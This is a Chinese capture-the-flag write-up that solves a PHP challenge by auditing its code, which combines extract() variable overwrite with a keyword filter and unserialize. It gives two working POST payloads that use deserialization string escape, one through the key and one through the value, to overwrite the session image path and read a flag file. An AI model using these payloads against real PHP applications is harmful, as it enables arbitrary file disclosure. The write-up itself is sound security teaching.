题目代码
<?php
$function = @$_GET['f'];
function filter($img){ //定义filter函数过滤
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){ //重设SESSION,使原来的销毁
unset($_SESSION);
}
$_SESSION["user"] = 'guest'; //定义SESSION
$_SESSION['function'] = $function;
extract($_POST); //变量覆盖 可以覆盖原来的SESSION
if(!$function){ //不用管
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){ //看下面为了读取flag我们需要绕过这个东西
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION)); //利用过滤
if($function == 'highlight_file'){ //显示源代码的
highlight_file('index.php');
}else if($function == 'phpinfo'){ //提示我们去phpinfo找hint
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){ //去读文件
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
代码审计完,我们大概思路就是利用最下面的file_get_contents去读取flag
然后利用变量覆盖得到SESSION[img],中间会给我们制造一个SESSION[img]但是不是我们要的,需要去绕过它
我们先看一下phpinfo有什么东西
有个d0g3_f1ag.php
我们先本地调试
<?php
highlight_file('sea.php');
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
var_dump($_SESSION);
#var_dump(unserialize(filter(serialize($_SESSION))));
?>
变量覆盖
所以可知我们要通过POST传参通过变量覆盖构造payload读取d0g3_f1ag.php
即:_SESSION[img]=ZDBnM19mMWFnLnBocA==
但是因为
在变量覆盖的后面,所以我们不能直接去读,这里利用反序列化字符串逃逸绕过
第一种 键逃逸
先说个知识点
unserialize会把多余的字符串当垃圾处理,在花括号内的就是正确的,花括号后面的就都被扔掉
首先我们构造一个序列化的img
然后加上花括号
但是现在如果反序列化是不能得到我们想要的结果
所以利用filter函数去过滤字符使得前面的既有我们想要的,又成立,可以绕过后面的img
所以我们直接构造payload:
get:f=show_image
post:_SESSION[phpfl1g]=;s:3:"123";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
这样我们前面的刚好满足反序列化,后面的就可以绕过了
得到结果
我们在对/d0g3_fllllllag进行base64加密,刚好是20位,直接替换原来的就行
第二种 值绕过
payload:
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}
值绕过,原理是相似的